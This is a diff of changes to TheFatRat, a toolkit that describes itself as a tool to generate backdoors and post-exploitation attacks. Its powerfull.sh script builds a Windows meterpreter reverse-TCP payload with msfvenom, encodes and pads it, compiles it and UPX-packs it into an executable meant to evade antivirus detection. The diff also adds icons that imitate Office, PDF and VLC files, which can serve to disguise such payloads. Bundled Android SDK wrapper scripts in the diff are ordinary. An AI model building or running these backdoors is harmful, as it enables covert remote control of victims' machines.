case "$chkvs" in
|
||||
2.3.3)
|
||||
echo "[✔]"
|
||||
;;
|
||||
*)
|
||||
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Remove your current installed baksmali version"
|
||||
echo ""
|
||||
echo -e "$green""apt-get remove --purge smali"
|
||||
echo ""
|
||||
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
|
||||
echo -e "$orange""----------------------------------"
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Not Found"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
|
||||
echo -e "$orange""----------------------------------"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Metasploit-Framework$green (msfc)......"
|
||||
which msfconsole > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install metasploit-framework"
|
||||
echo -e "$orange""Install using kali repository"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Metasploit-Framework$green (msfv)......"
|
||||
which msfvenom > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install metasploit-framework"
|
||||
echo -e "$orange""Install using kali repository"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Backdoor Factory$green (exe backdoor).."
|
||||
which backdoor-factory > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install backdoor-factory"
|
||||
echo -e "$orange""Install using kali repository/Ignore in case manually installed"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Searchsploit$green (exploit db)........"
|
||||
which searchsploit > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install exploitdb"
|
||||
echo -e "$orange""Install using kali repository/Ignore in case manually installed"
|
||||
fi
|
||||
echo ""
|
||||
echo -e "$orange""--------------End Of Check tool for fatrat---------------"
|
||||
exit 0
|
8
config/TheFatRat.desktop
Normal file
|
@ -0,0 +1,8 @@
|
|||
[Desktop Entry]
|
||||
Name=TheFatRat
|
||||
Comment=Massive Exploiting Tool Revealed - An easy tool to generate backdoor & post exploitation attack.
|
||||
Exec=gnome-terminal -t "TheFatRat 1.9.5" --geometry=600x630 -e "bash -c 'fatrat';-bash"
|
||||
Icon=/usr/share/icons/TheFatRat.ico
|
||||
Terminal=true
|
||||
Type=Application
|
||||
StartupNotify=false
|
3
config/listeners/readme.md
Normal file
|
@ -0,0 +1,3 @@
|
|||
---------------------------------------------
|
||||
|Folder for User saved msfconsole listeners |
|
||||
---------------------------------------------
|
108
grab.sh
Normal file
|
@ -0,0 +1,108 @@
|
|||
#!/bin/bash
|
||||
|
||||
#Grab script was build by peterpt exclusively for fatrat 1.9.4
|
||||
#Grab script waits for a msfconsole script output and then copy that output to a final folder ,
|
||||
#Grab script will close automatically the msfconsole window generated by fatrat
|
||||
#closes the active msfconsole terminal automatically and autoclose itself .
|
||||
#This script cannot work indenpendently from fatrat
|
||||
|
||||
#colours variables
|
||||
cyan='\e[0;36m'
|
||||
green='\e[0;34m'
|
||||
okegreen='\033[92m'
|
||||
lightgreen='\e[1;32m'
|
||||
white='\e[1;37m'
|
||||
red='\e[1;31m'
|
||||
yellow='\e[0;33m'
|
||||
BlueF='\e[1;34m' #Biru
|
||||
RESET="\033[00m" #normal
|
||||
orange='\e[38;5;166m'
|
||||
|
||||
path=`pwd` #Set path variable
|
||||
file=temp/msff #Filename to search in metasploit output folder
|
||||
conf=config/grab.conf #Maximum time to wait for all process to be done
|
||||
cvar="config/config.path"
|
||||
output=$(sed -n 17p ${cvar})
|
||||
#If timeout configuration file does not exist then abort script
|
||||
if [ ! -f "$conf" ]; then
|
||||
echo "Timeout configuration was not found"
|
||||
echo "Aborting"
|
||||
exit
|
||||
else
|
||||
|
||||
#timeout configuration file found , read the 4th line
|
||||
tmo=`sed -n 4p $conf`
|
||||
fi
|
||||
|
||||
#Clean metasploit output folder (in case a previous file with same name was created)
|
||||
rm -rf $HOME/.msf4/local/* >/dev/null 2>&1
|
||||
|
||||
# Look for the name of the file to be search in metasploit output in msff
|
||||
# msff file will be created by fatrat
|
||||
|
||||
if [ -f "$file" ]; then
|
||||
|
||||
#msf file exists then read 1st line (filename to search)
|
||||
var=`sed -n 1p $file`
|
||||
else
|
||||
#msf does not exist , abort
|
||||
exit 1
|
||||
fi
|
||||
|
||||
function outf(){
|
||||
clear
|
||||
echo -e $orange "---------------------------------------------------"
|
||||
echo -e $orange "|$okegreen Grab Script 1.0 (fatrat 1.9.4 edition)$orange |"
|
||||
echo -e $orange "---------------------------------------------------"
|
||||
echo -e $okegreen "Second : $sleep - Timeout : $tmo"
|
||||
echo ""
|
||||
echo -e $okegreen "Waiting for msfconsole output to be generated in Xterm Window"
|
||||
#set directory to search for file , and filename
|
||||
out="$HOME/.msf4/local/$var"
|
||||
|
||||
#sleep variable is equal to itself + 1 second
|
||||
sleep=$((sleep+1))
|
||||
if [ $sleep == "$tmo" ] ; then
|
||||
|
||||
#in case timeout value achieved without any metasploit output file created
|
||||
#then exits this script
|
||||
|
||||
echo "Metasploit did not generated any output or your timeout is short"
|
||||
pkill -f Microsploit > /dev/null 2>&1
|
||||
exit 1
|
||||
fi
|
||||
|
||||
#File was created by metasploit , copy it to final destination , kill msfconsole window and auto-close this script
|
||||
if [ -f $out ]; then
|
||||
mv $HOME/.msf4/local/$var $output/$var
|
||||
|
||||
#Look in active processes a process name "Microsploit" and kill it
|
||||
pkill -f Microsploit > /dev/null 2>&1
|
||||
exit 1
|
||||
else
|
||||
|
||||
#metasploit output file was not yet found , wait 1 second
|
||||
sleep 1
|
||||
|
||||
# start again
|
||||
outf
|
||||
fi
|
||||
}
|
||||
echo -e $orange "---------------------------------------------------"
|
||||
echo -e $orange "|$okegreen Grab Script 1.0 (fatrat 1.9.4 edition)$orange |"
|
||||
echo -e $orange "---------------------------------------------------"
|
||||
echo -e $okegreen " Dont close this window , it will autoclose itself"
|
||||
echo ""
|
||||
echo -e $okegreen "Waiting for msfconsole output to be generated in Xterm Window"
|
||||
echo -e $orange "Max waiting time = $tmo seconds"
|
||||
#if the current value from msff is empty then abort this script
|
||||
#this will mean that msff file exists but does not have anything written
|
||||
if [ -z "$var" ]; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
#set sleep variable to 1 second
|
||||
sleep="1"
|
||||
|
||||
#Everything is ok until this point , start loop until timeout
|
||||
outf
|
|
@ -1,6 +1 @@
|
|||
#HOW CHANGE THE ICONS ?
|
||||
|
||||
- Copy your icon picture to folder /TheFatrat/icons ( must *.ico )
|
||||
- Change the name into autorun.ico
|
||||
- And Replace
|
||||
- Done
|
||||
Icons Folder to be used in fatrat backdoor creation
|
||||
|
|
BIN
icons/TheFatRat.ico
Normal file
After Width: | Height: | Size: 361 KiB |
BIN
icons/access.ico
Normal file
After Width: | Height: | Size: 163 KiB |
BIN
icons/excel.ico
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
icons/lync.ico
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
icons/pdf.ico
Normal file
After Width: | Height: | Size: 97 KiB |
BIN
icons/powerpoint.ico
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
icons/project.ico
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
icons/publisher.ico
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
icons/visio.ico
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
icons/vlc.ico
Normal file
After Width: | Height: | Size: 242 KiB |
BIN
icons/word.ico
Normal file
After Width: | Height: | Size: 162 KiB |
1899
lists/namelist.txt
Normal file
8
lists/tldlist.txt
Normal file
|
@ -0,0 +1,8 @@
|
|||
com
|
||||
net
|
||||
org
|
||||
biz
|
||||
gov
|
||||
us
|
||||
me
|
||||
io
|
|
@ -1 +0,0 @@
|
|||
Don't Delete the Folder and dont change directory name , if you change you must change the script too
|
185
powerfull.sh
Normal file → Executable file
|
@ -2,36 +2,83 @@
|
|||
file="config/config.path"
|
||||
if [ -f "$file" ]
|
||||
then
|
||||
msfconsole=`sed -n 5p $file`
|
||||
msfvenom=`sed -n 6p $file`
|
||||
backdoor=`sed -n 7p $file`
|
||||
searchsploit=`sed -n 8p $file`
|
||||
msfconsole=$(sed -n 13p ${file})
|
||||
msfvenom=$(sed -n 14p ${file})
|
||||
backdoor=$(sed -n 15p ${file})
|
||||
searchsploit=$(sed -n 16p ${file})
|
||||
output=$(sed -n 17p ${file})
|
||||
else
|
||||
echo "Configuration file does not exists , run setup.sh first ."
|
||||
exit 1
|
||||
|
||||
|
||||
fi
|
||||
path=`pwd`
|
||||
defcon=$path/config/conf.def
|
||||
if [ -f "$defcon" ]
|
||||
then
|
||||
yourip=`sed -n 1p $defcon`
|
||||
yourport=`sed -n 2p $defcon`
|
||||
fi
|
||||
|
||||
function invalid1 ()
|
||||
{
|
||||
err=0
|
||||
echo ""
|
||||
if [ -z "$yourip" ]; then
|
||||
echo -e $red ""
|
||||
echo "[ ! ] You must write an IP or Hostname ."
|
||||
echo -e $okegreen ""
|
||||
echo "IP Example : 192.168.1.34
|
||||
Domain Example : myhost.com"
|
||||
err=1
|
||||
fi
|
||||
echo ""
|
||||
if [ -z "$yourport" ]; then
|
||||
echo -e $red ""
|
||||
echo "[ ! ] You must write a port number between 1 & 65535 ."
|
||||
err=1
|
||||
fi
|
||||
echo -e $okegreen ""
|
||||
}
|
||||
|
||||
#get user local ip , public ip & hostname into variables
|
||||
lanip=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
|
||||
lanip6=`ip addr | grep 'state UP' -A4 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
|
||||
publicip=`dig +short myip.opendns.com @resolver1.opendns.com`
|
||||
hostn=`host $publicip | awk '{print $5}' | sed 's/.$//'`
|
||||
comp="0"
|
||||
# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
|
||||
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
|
||||
# check mingw if exists
|
||||
which i586-mingw32msvc-gcc > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo [✔]::[mingw32]: installation found!;
|
||||
COMPILER="i586-mingw32msvc-gcc"
|
||||
else
|
||||
which i686-w64-mingw32-gcc > /dev/null 2>&1
|
||||
if [ $? -eq 0 ]; then
|
||||
if [ "$?" -eq "0" ]
|
||||
then
|
||||
echo [✔]::[mingw32]: installation found!;
|
||||
COMPILER="i686-w64-mingw32-gcc"
|
||||
comp="1"
|
||||
fi
|
||||
which x86_64-w64-mingw32-gcc > /dev/null 2>&1
|
||||
if [ $? -eq 0 ]
|
||||
then
|
||||
echo [✔]::[mingw64]: installation found!;
|
||||
|
||||
if [ $comp == "0" ]
|
||||
then
|
||||
comp="2"
|
||||
elif [ $comp == "1" ]
|
||||
then
|
||||
comp="3"
|
||||
else
|
||||
echo [x]::[warning]:this script require mingw32 installed to work ;
|
||||
echo [x]::[warning]:this script require mingw32 or mingw64 installed to work ;
|
||||
echo ""
|
||||
echo [!]::Run setup.sh to install mingw32 ;
|
||||
echo [!]::Run setup.sh to install mingw64 ;
|
||||
sleep 2s
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
|
||||
# check upx if exists
|
||||
which upx > /dev/null 2>&1
|
||||
if [ $? -eq 0 ]; then
|
||||
|
@ -60,7 +107,6 @@ fi
|
|||
|
||||
#Checking
|
||||
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to run script"; exit 1; }
|
||||
resize -s 30 76
|
||||
clear
|
||||
SERVICE=service;
|
||||
|
||||
|
@ -73,8 +119,11 @@ white='\e[1;37m'
|
|||
red='\e[1;31m'
|
||||
yellow='\e[1;33m'
|
||||
BlueF='\e[1;34m'
|
||||
yellow='\e[1;33m'
|
||||
orange='\e[38;5;166m'
|
||||
|
||||
|
||||
rm -f $output/Powerfull.exe >/dev/null 2>&1
|
||||
rm -f $output/Powerfull-fud.exe >/dev/null 2>&1
|
||||
#Banner
|
||||
clear
|
||||
echo
|
||||
|
@ -93,11 +142,78 @@ echo -e $yellow" ===============================================================
|
|||
echo -e $okegreen""
|
||||
|
||||
#input lhost and lport
|
||||
echo -e $okegreen""
|
||||
echo -e $yellow "Your local IPV4 address is : $lanip"
|
||||
echo -e $yellow "Your local IPV6 address is : $lanip6"
|
||||
echo -e $yellow "Your public IP address is : $publicip"
|
||||
echo -e $yellow "Your Hostname is : $hostn"
|
||||
echo -e $okegreen ""
|
||||
if [ ! -f "$defcon" ]
|
||||
then
|
||||
yourip=""
|
||||
yourport=""
|
||||
fi
|
||||
if [ -z "$yourip" ]; then
|
||||
read -p ' Set LHOST IP: ' yourip
|
||||
fi
|
||||
echo -e $okegreen ""
|
||||
if [ -z "$yourport" ]; then
|
||||
read -p ' Set LPORT: ' yourport
|
||||
fi
|
||||
invalid1
|
||||
if [ $err == "1" ]
|
||||
then
|
||||
echo -e $okegreen ""
|
||||
echo -n "Press any key to restart again ."
|
||||
read inp
|
||||
./powerfull.sh
|
||||
fi
|
||||
|
||||
read -p ' Set LHOST IP: ' payloadLHOST; read -p ' Set LPORT: ' payloadLPORT
|
||||
|
||||
|
||||
echo ""
|
||||
if [ $comp == "1" ]
|
||||
then
|
||||
COMPILER="i686-w64-mingw32-gcc"
|
||||
fi
|
||||
if [ $comp == "2" ]
|
||||
then
|
||||
COMPILER="x86_64-w64-mingw32-gcc"
|
||||
fi
|
||||
|
||||
if [ $comp == "3" ]
|
||||
then
|
||||
echo ""
|
||||
echo -e $yellow "You can compile this FUD for 32bit or 64bit windows machines"
|
||||
echo ""
|
||||
echo -e $green "Choose one of the following options"
|
||||
echo -e $orange "+-------------------------------+"
|
||||
echo -e $orange "|$white [$green 1$white ] $yellow Compile 32bit FUD Exe $orange |"
|
||||
echo -e $orange "|$white [$green 2$white ] $yellow Compile 64bit FUD Exe $orange |"
|
||||
echo -e $orange "+-------------------------------+"
|
||||
echo ""
|
||||
echo -ne $green "Choose (1 or 2) : " ;tput sgr0
|
||||
read archs
|
||||
case $archs in
|
||||
1)
|
||||
COMPILER="i686-w64-mingw32-gcc"
|
||||
echo ""
|
||||
echo -e $green "32bit Selected"
|
||||
sleep 1
|
||||
;;
|
||||
2)
|
||||
COMPILER="x86_64-w64-mingw32-gcc"
|
||||
echo ""
|
||||
echo -e $green "64bit Selected"
|
||||
sleep 1
|
||||
;;
|
||||
*)
|
||||
COMPILER="x86_64-w64-mingw32-gcc"
|
||||
echo ""
|
||||
echo -e $green "Invalid Option , setting 32bit as default"
|
||||
sleep 1
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
echo -e $okegreen
|
||||
payload="windows/meterpreter/reverse_tcp"
|
||||
msfvenomBadChars="\x00\xff"
|
||||
msfvenomEncoder="x86/shikata_ga_nai"
|
||||
|
@ -108,7 +224,7 @@ delayRandomness=32676 # The higher the delay the longer it will take to execute
|
|||
|
||||
#Set directory
|
||||
currentDir=`pwd`
|
||||
outputDir="${currentDir}/output/"
|
||||
outputDir="$output/"
|
||||
outputExe="${outputDir}Powerfull.exe" # You can change the name of the executable on this line
|
||||
outputUPX="${outputDir}Powerfull-fud.exe" # You can change the name of the executable on this line
|
||||
|
||||
|
@ -213,7 +329,7 @@ while [[ ! -f "$outputExe" ]]; do
|
|||
generatePadding
|
||||
|
||||
echo "" >> $cProg
|
||||
$msfvenom -p ${payload} LHOST=$payloadLHOST LPORT=$payloadLPORT -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
|
||||
$msfvenom -p ${payload} LHOST=$yourip LPORT=$yourport -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
|
||||
|
||||
generatePadding
|
||||
|
||||
|
@ -234,6 +350,31 @@ while [[ ! -f "$outputExe" ]]; do
|
|||
$COMPILER -o $outputExe $cProg
|
||||
|
||||
done
|
||||
|
||||
if [[ -f "$outputExe" ]]
|
||||
then
|
||||
echo "Uncompressed backdoor created in : $outputExe"
|
||||
else
|
||||
echo "Unable to compile backdoor"
|
||||
echo -n "Press Enter to return to menu"
|
||||
read rsp
|
||||
exit 0
|
||||
fi
|
||||
echo ""
|
||||
echo -n "Compressing $outputExe with UPX to be less detectable ...."
|
||||
# Use UPX to create a second executable, testing...
|
||||
upx -q --ultra-brute -o $outputUPX $outputExe
|
||||
upx -q --ultra-brute -o $outputUPX $outputExe >/dev/null 2>&1
|
||||
echo "Done"
|
||||
|
||||
if [[ -f "$outputUPX" ]]
|
||||
then
|
||||
echo "Compressed Backdoor was build in : $outputUPX"
|
||||
echo ""
|
||||
echo -n "Press Enter to return to fatrat menu"
|
||||
read rsp
|
||||
exit 0
|
||||
else
|
||||
echo "Unable to compress $outputExe with UPX"
|
||||
echo -n "Press Enter to return to fatrat menu"
|
||||
read rsp
|
||||
exit 0
|
||||
fi
|
||||
|
|
1
release
Normal file
|
@ -0,0 +1 @@
|
|||
1.9.8
|
|
@ -1 +0,0 @@
|
|||
Don't Delete the Folder temp and dont change directory name , if you change you must change the scripttoo
|
1
temp/readme.md
Normal file
|
@ -0,0 +1 @@
|
|||
Temporary folder for fatrat to work
|
14640
tools/android-sdk/NOTICE.txt
Normal file
1
tools/android-sdk/Release.md
Normal file
|
@ -0,0 +1 @@
|
|||
Android-Build-tools r30.0.1
|
BIN
tools/android-sdk/aapt
Executable file
BIN
tools/android-sdk/aapt2
Executable file
5
tools/android-sdk/aarch64-linux-android-ld
Normal file
|
@ -0,0 +1,5 @@
|
|||
This dummy file substitutes for an old linker that used to be at its location.
|
||||
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
|
||||
(which they would not if the file were removed).
|
||||
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
|
||||
but everything else should work.
|
BIN
tools/android-sdk/aidl
Executable file
89
tools/android-sdk/apksigner
Executable file
|
@ -0,0 +1,89 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2016 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# Set up prog to be the path of this script, including following symlinks,
|
||||
# and set up progdir to be the fully-qualified pathname of its directory.
|
||||
prog="$0"
|
||||
while [ -h "${prog}" ]; do
|
||||
newProg=`/bin/ls -ld "${prog}"`
|
||||
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
|
||||
if expr "x${newProg}" : 'x/' >/dev/null; then
|
||||
prog="${newProg}"
|
||||
else
|
||||
progdir=`dirname "${prog}"`
|
||||
prog="${progdir}/${newProg}"
|
||||
fi
|
||||
done
|
||||
oldwd=`pwd`
|
||||
progdir=`dirname "${prog}"`
|
||||
cd "${progdir}"
|
||||
progdir=`pwd`
|
||||
prog="${progdir}"/`basename "${prog}"`
|
||||
cd "${oldwd}"
|
||||
|
||||
jarfile=apksigner.jar
|
||||
libdir="$progdir"
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set apksigner.jar location for the SDK case
|
||||
libdir="$libdir/lib"
|
||||
fi
|
||||
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set apksigner.jar location for the Android tree case
|
||||
libdir=`dirname "$progdir"`/framework
|
||||
fi
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
echo `basename "$prog"`": can't find $jarfile"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# By default, give apksigner a max heap size of 1 gig. This can be overridden
|
||||
# by using a "-J" option (see below).
|
||||
defaultMx="-Xmx1024M"
|
||||
|
||||
# The following will extract any initial parameters of the form
|
||||
# "-J<stuff>" from the command line and pass them to the Java
|
||||
# invocation (instead of to apksigner). This makes it possible for you to add
|
||||
# a command-line parameter such as "-JXmx256M" in your scripts, for
|
||||
# example. "java" (with no args) and "java -X" give a summary of
|
||||
# available options.
|
||||
|
||||
javaOpts=""
|
||||
|
||||
while expr "x$1" : 'x-J' >/dev/null; do
|
||||
opt=`expr "x$1" : 'x-J\(.*\)'`
|
||||
javaOpts="${javaOpts} -${opt}"
|
||||
if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
|
||||
defaultMx="no"
|
||||
fi
|
||||
shift
|
||||
done
|
||||
|
||||
if [ "${defaultMx}" != "no" ]; then
|
||||
javaOpts="${javaOpts} ${defaultMx}"
|
||||
fi
|
||||
|
||||
if [ "$OSTYPE" = "cygwin" ]; then
|
||||
# For Cygwin, convert the jarfile path into native Windows style.
|
||||
jarpath=`cygpath -w "$libdir/$jarfile"`
|
||||
else
|
||||
jarpath="$libdir/$jarfile"
|
||||
fi
|
||||
|
||||
exec java $javaOpts -jar "$jarpath" "$@"
|
5
tools/android-sdk/arm-linux-androideabi-ld
Normal file
|
@ -0,0 +1,5 @@
|
|||
This dummy file substitutes for an old linker that used to be at its location.
|
||||
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
|
||||
(which they would not if the file were removed).
|
||||
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
|
||||
but everything else should work.
|
BIN
tools/android-sdk/bcc_compat
Executable file
BIN
tools/android-sdk/core-lambda-stubs.jar
Normal file
89
tools/android-sdk/d8
Executable file
|
@ -0,0 +1,89 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2017 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# Set up prog to be the path of this script, including following symlinks,
|
||||
# and set up progdir to be the fully-qualified pathname of its directory.
|
||||
prog="$0"
|
||||
while [ -h "${prog}" ]; do
|
||||
newProg=`/bin/ls -ld "${prog}"`
|
||||
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
|
||||
if expr "x${newProg}" : 'x/' >/dev/null; then
|
||||
prog="${newProg}"
|
||||
else
|
||||
progdir=`dirname "${prog}"`
|
||||
prog="${progdir}/${newProg}"
|
||||
fi
|
||||
done
|
||||
oldwd=`pwd`
|
||||
progdir=`dirname "${prog}"`
|
||||
cd "${progdir}"
|
||||
progdir=`pwd`
|
||||
prog="${progdir}"/`basename "${prog}"`
|
||||
cd "${oldwd}"
|
||||
|
||||
jarfile=d8.jar
|
||||
libdir="$progdir"
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set d8.jar location for the SDK case
|
||||
libdir="$libdir/lib"
|
||||
fi
|
||||
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set d8.jar location for the Android tree case
|
||||
libdir=`dirname "$progdir"`/framework
|
||||
fi
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
echo `basename "$prog"`": can't find $jarfile"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# By default, give d8 a max heap size of 2 gigs. This can be overridden
|
||||
# by using a "-J" option (see below).
|
||||
defaultMx="-Xmx2G"
|
||||
|
||||
# The following will extract any initial parameters of the form
|
||||
# "-J<stuff>" from the command line and pass them to the Java
|
||||
# invocation (instead of to d8). This makes it possible for you to add
|
||||
# a command-line parameter such as "-JXmx256M" in your scripts, for
|
||||
# example. "java" (with no args) and "java -X" give a summary of
|
||||
# available options.
|
||||
|
||||
declare -a javaOpts=()
|
||||
|
||||
while expr "x$1" : 'x-J' >/dev/null; do
|
||||
opt=`expr "x$1" : 'x-J\(.*\)'`
|
||||
javaOpts+=("-${opt}")
|
||||
if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
|
||||
defaultMx="no"
|
||||
fi
|
||||
shift
|
||||
done
|
||||
|
||||
if [ "${defaultMx}" != "no" ]; then
|
||||
javaOpts+=("${defaultMx}")
|
||||
fi
|
||||
|
||||
if [ "$OSTYPE" = "cygwin" ]; then
|
||||
# For Cygwin, convert the jarfile path into native Windows style.
|
||||
jarpath=`cygpath -w "$libdir/$jarfile"`
|
||||
else
|
||||
jarpath="$libdir/$jarfile"
|
||||
fi
|
||||
|
||||
exec java "${javaOpts[@]}" -cp "$jarpath" com.android.tools.r8.D8 "$@"
|
BIN
tools/android-sdk/dexdump
Executable file
89
tools/android-sdk/dx
Executable file
|
@ -0,0 +1,89 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2007 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# Set up prog to be the path of this script, including following symlinks,
|
||||
# and set up progdir to be the fully-qualified pathname of its directory.
|
||||
prog="$0"
|
||||
while [ -h "${prog}" ]; do
|
||||
newProg=`/bin/ls -ld "${prog}"`
|
||||
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
|
||||
if expr "x${newProg}" : 'x/' >/dev/null; then
|
||||
prog="${newProg}"
|
||||
else
|
||||
progdir=`dirname "${prog}"`
|
||||
prog="${progdir}/${newProg}"
|
||||
fi
|
||||
done
|
||||
oldwd=`pwd`
|
||||
progdir=`dirname "${prog}"`
|
||||
cd "${progdir}"
|
||||
progdir=`pwd`
|
||||
prog="${progdir}"/`basename "${prog}"`
|
||||
cd "${oldwd}"
|
||||
|
||||
jarfile=dx.jar
|
||||
libdir="$progdir"
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set dx.jar location for the SDK case
|
||||
libdir="$libdir/lib"
|
||||
fi
|
||||
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set dx.jar location for the Android tree case
|
||||
libdir=`dirname "$progdir"`/framework
|
||||
fi
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
echo `basename "$prog"`": can't find $jarfile"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# By default, give dx a max heap size of 1 gig. This can be overridden
|
||||
# by using a "-J" option (see below).
|
||||
defaultMx="-Xmx1024M"
|
||||
|
||||
# The following will extract any initial parameters of the form
|
||||
# "-J<stuff>" from the command line and pass them to the Java
|
||||
# invocation (instead of to dx). This makes it possible for you to add
|
||||
# a command-line parameter such as "-JXmx256M" in your scripts, for
|
||||
# example. "java" (with no args) and "java -X" give a summary of
|
||||
# available options.
|
||||
|
||||
javaOpts=""
|
||||
|
||||
while expr "x$1" : 'x-J' >/dev/null; do
|
||||
opt=`expr "x$1" : 'x-J\(.*\)'`
|
||||
javaOpts="${javaOpts} -${opt}"
|
||||
if expr "x${opt}" : "xXmx[0-9]" >/dev/null; then
|
||||
defaultMx="no"
|
||||
fi
|
||||
shift
|
||||
done
|
||||
|
||||
if [ "${defaultMx}" != "no" ]; then
|
||||
javaOpts="${javaOpts} ${defaultMx}"
|
||||
fi
|
||||
|
||||
if [ "$OSTYPE" = "cygwin" ]; then
|
||||
# For Cygwin, convert the jarfile path into native Windows style.
|
||||
jarpath=`cygpath -w "$libdir/$jarfile"`
|
||||
else
|
||||
jarpath="$libdir/$jarfile"
|
||||
fi
|
||||
|
||||
exec java $javaOpts -jar "$jarpath" "$@"
|
5
tools/android-sdk/i686-linux-android-ld
Normal file
|
@ -0,0 +1,5 @@
|
|||
This dummy file substitutes for an old linker that used to be at its location.
|
||||
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
|
||||
(which they would not if the file were removed).
|
||||
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
|
||||
but everything else should work.
|
BIN
tools/android-sdk/jack-coverage-plugin.jar
Normal file
BIN
tools/android-sdk/jack-jacoco-reporter.jar
Normal file
BIN
tools/android-sdk/jack.jar
Normal file
BIN
tools/android-sdk/jill.jar
Normal file
BIN
tools/android-sdk/lib/apksigner.jar
Normal file
BIN
tools/android-sdk/lib/d8.jar
Normal file
BIN
tools/android-sdk/lib/dx.jar
Normal file
BIN
tools/android-sdk/lib/shrinkedAndroid.jar
Normal file
BIN
tools/android-sdk/lib64/libLLVM_android.so
Normal file
BIN
tools/android-sdk/lib64/libaapt2_jni.so
Executable file
BIN
